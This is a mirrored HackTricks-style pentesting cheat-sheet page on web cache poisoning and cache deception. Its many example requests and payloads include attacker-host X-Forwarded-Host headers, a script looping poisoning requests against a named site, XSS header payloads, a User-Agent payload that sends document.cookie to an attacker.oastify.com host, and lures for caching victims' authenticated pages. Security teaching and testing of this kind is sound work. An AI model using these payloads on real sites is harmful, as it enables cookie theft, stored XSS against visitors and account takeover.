repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
overview.mdMarkdown540 lines33.0 KiBsource raw download

title: "Cache Poisoning and Cache Deception" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/cache-deception/README.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/cache-deception/README.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: true modified: true license: "CC-BY-NC-4.0"#

Cache Poisoning and Cache Deception#

The difference#

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

Cache Poisoning#

Web cache poisoning manipulates a shared cache into storing a harmful response that is later served to other users. Impact depends on the cache key, cache lifetime, affected route, and traffic reaching the poisoned entry.[1]

The execution of a cache poisoning assault involves several steps:

  1. Identification of Unkeyed Inputs: These are parameters that, although not required for a request to be cached, can alter the response returned by the server. Identifying these inputs is crucial as they can be exploited to manipulate the cache.
  2. Exploitation of the Unkeyed Inputs: After identifying the unkeyed inputs, the next step involves figuring out how to misuse these parameters to modify the server's response in a way that benefits the attacker.
  3. Ensuring the Poisoned Response is Cached: The final step is to ensure that the manipulated response is stored in the cache. This way, any user accessing the affected page while the cache is poisoned will receive the tainted response.

Discovery: Check HTTP headers#

Usually, when a response was stored in the cache there will be a header indicating so, you can check which headers you should pay attention to in this post: HTTP Cache headers.

Discovery: Caching error codes#

If you are thinking that the response is being stored in a cache, you could try to send requests with a bad header, which should be responded to with a status code 400. Then try to access the request normally and if the response is a 400 status code, you know it's vulnerable (and you could even perform a DoS).

You can find more options in:

Cache Poisoning To Dos

However, note that sometimes these kinds of status codes aren't cached so this test could not be reliable.

Discovery: Identify and evaluate unkeyed inputs#

You could use Param Miner to brute-force parameters and headers that may be changing the response of the page. For example, a page may be using the header X-Forwarded-For to indicate the client to load the script from there:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Elicit a harmful response from the back-end server#

With the parameter/header identified check how it is being sanitised and where is it getting reflected or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)

Get the response cached#

Once you have identified the page that can be abused, which parameter/header to use and how to abuse it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.

The header X-Cache in the response could be very useful as it may have the value miss when the request wasn't cached and the value hit when it is cached.
The header Cache-Control is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800

Another interesting header is Vary. This header is often used to indicate additional headers that are treated as part of the cache key even if they are normally unkeyed. Therefore, if the user knows the User-Agent of the victim he is targeting, he can poison the cache for the users using that specific User-Agent.

One more header related to the cache is Age. It defines the times in seconds the object has been in the proxy cache.

When caching a request, be careful with the headers you use because some of them could be used unexpectedly as keyed and the victim will need to use that same header. Always test a Cache Poisoning with different browsers to check if it's working.[1]

Foundational cache poisoning case studies#

HackerOne global redirect via X-Forwarded-Host#

GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com

GitHub repository DoS via Content-Type + PURGE#

curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo

Shopify cross-host persistence loops#

import requests, time
for i in range(100):
    requests.get("https://shop.shopify.com/endpoint",
                 headers={"X-Forwarded-Host": "attacker.com"})
    time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)

JS asset redirect → stored XSS chain#

GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

GitLab static DoS via X-HTTP-Method-Override#

GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD

HackerOne static asset loop via X-Forwarded-Scheme#

GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http

Cloudflare host-header casing mismatch#

GET / HTTP/1.1
Host: TaRgEt.CoM

Red Hat Open Graph meta poisoning#

GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>

Exploiting Examples#

Easiest example#

A header like X-Forwarded-For is being reflected in the response unsanitized.
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en[1]

Cache poisoning to DoS#

Cache Poisoning To Dos

Cache poisoning through CDNs#

In this writeup it's explained the following simple scenario:[4]

Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.[2]

Generating discrepancies with delimiters, normalization and dots #

Check:

Cache Poisoning Via Url Discrepancies

Cache poisoning with path traversal to steal API key #

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.[4]

This is also explained better in:

Cache Poisoning Via Url Discrepancies

Using multiple headers to exploit web cache poisoning vulnerabilities #

Sometimes you will need to exploit several unkeyed inputs to be able to abuse a cache. For example, you may find an Open redirect if you set X-Forwarded-Host to a domain controlled by you and X-Forwarded-Scheme to http.If the server is forwarding all the HTTP requests to HTTPS and using the header X-Forwarded-Scheme as the domain name for the redirect. You can control where the page is pointed by the redirect.[7]

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploiting with a limited Vary header#

If you found that the X-Host header is being used as domain name to load a JS resource but the Vary header in the response is indicating User-Agent. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent:

GET / HTTP/1.1
Host: vulnerable.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get#

Send a GET request with the request in the URL and in the body. If the web server uses the one from the body but the cache server caches the one from the URL, anyone accessing that URL will actually use the parameter from the body. Like the vuln James Kettle found at the Github website:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Practice this behavior in PortSwigger's Web cache poisoning via a fat GET request lab.[18]

Parameter Cloaking#

For example it's possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.

Practice this behavior in PortSwigger's Web cache poisoning via parameter cloaking lab.[19]

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling#

Learn here about how to perform Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning#

The Web Cache Vulnerability Scanner can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)#

This real-world pattern chains a header-based reflection primitive with CDN/WAF behavior to reliably poison the cached HTML served to other users:

Practical recipe (observed across a popular CDN/WAF):

  1. From a clean IP (avoid prior reputation-based downgrades), set a malicious User-Agent via browser or Burp Proxy Match & Replace.[9]
  2. In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):
    • First request: GET a .js resource path on the same origin while sending your malicious User-Agent.
    • Immediately after: GET the main page (/).
  3. The CDN/WAF routing race plus the auto-cached .js often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same Vary dimensions like User-Agent).

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

Impact:

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)#

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.[10]

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Readme

Vulnerable Examples#

Apache Traffic Server (CVE-2021-27577)#

ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request /#/../?r=javascript:alert(1) was sent to the backend as /#/../?r=javascript:alert(1) and the cache key didn't have the payload inside of it, only host, path and query.[5]

403 and Storage Buckets#

Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.[5]

Injecting Keyed Parameters#

Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the size parameter in requests. However, if a URL-encoded version of the parameter (e.g., siz%65) was also sent with an erroneous value, the cache key would be constructed using the correct size parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second size parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error.[5]

User Agent Rules#

Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS.[5]

Illegal Header Fields#

HTTP field names use the token grammar. Headers containing characters outside that grammar should be rejected, but intermediaries and origins do not always parse them consistently. One disclosed Akamai behavior forwarded invalid header names and cached a resulting 400 response when Cache-Control was absent; a header containing an illegal character such as \ could therefore produce a cacheable error.[5][17]

Finding new headers#

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception#

The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.[14]

First of all note that extensions such as .css, .js, .png etc are usually configured to be saved in the cache. Therefore, if you access www.example.com/profile.php/nonexistent.js the cache will probably store the response because it sees the .js extension. But, if the application is replaying with the sensitive user contents stored in www.example.com/profile.php, you can steal those contents from other users.

Other things to test:

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.[3]
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user's sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.[3]

Note that the cache proxy should be configured to cache files based on the extension of the file (.css) and not base on the content-type. In the example http://www.example.com/home.php/non-existent.css will have a text/html content-type instead of a text/css mime type.[3]

Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)#

This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.

High level idea:

Example

GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
  method: 'GET',
  headers: { 'X-Auth-Token': authToken }
});

Preconditions

Validation checklist

Authenticated HTML cache entries targeted with query cache busters#

Not every WCD requires path confusion or static extensions. A very common variant is: authenticated HTML response + shared cacheability + attacker-controlled cache key + user-specific secret in the body.[16]

Typical indicators:

Minimal validation flow:

  1. Authenticate and request a page that should be user-specific (homepages are still interesting if they bootstrap session state).
  2. Replay the exact request in Burp Repeater.
  3. Compare X-Cache, Age, and Cache-Control.
  4. Inspect the cached body, not just the headers: if secrets are embedded in the HTML/JS, another user hitting the same cache key may receive them.

If many users constantly overwrite the shared entry, add an attacker-chosen query parameter to isolate the cache key:

GET /?cacheBuster=1 HTTP/1.1
Host: target.com
Cookie: session=<victim-session>

If the cache keys on the full URL, forcing the victim to visit that exact URL stores their authenticated response under a predictable entry that the attacker can later request anonymously. This is especially useful on homepages that are globally cacheable but still inject per-user state into the DOM.

SameSite=Lax delivery constraints in WCD campaigns#

When the victim must seed the cache from an attacker-controlled site, remember that default SameSite=Lax cookies are usually not sent on cross-site subresource requests such as <img>, <script>, or XHR/fetch.[16] Therefore, a payload like the following often primes the cache with an unauthenticated response only:

<img src="https://target.com/?cacheBuster=1">

To seed the cache with the victim's authenticated HTML, use a top-level navigation primitive instead, because SameSite=Lax still allows cookies on cross-site navigations such as links and many GET redirects:

<meta http-equiv="refresh" content="0; url=https://target.com/?cacheBuster=1">
<p>If not redirected, <a href="https://target.com/?cacheBuster=1">open target</a>.</p>

Practical checklist:

This turns a noisy, random WCD into a targeted account-takeover primitive whenever the cached HTML exposes reusable session material.

Automatic Tools#

References#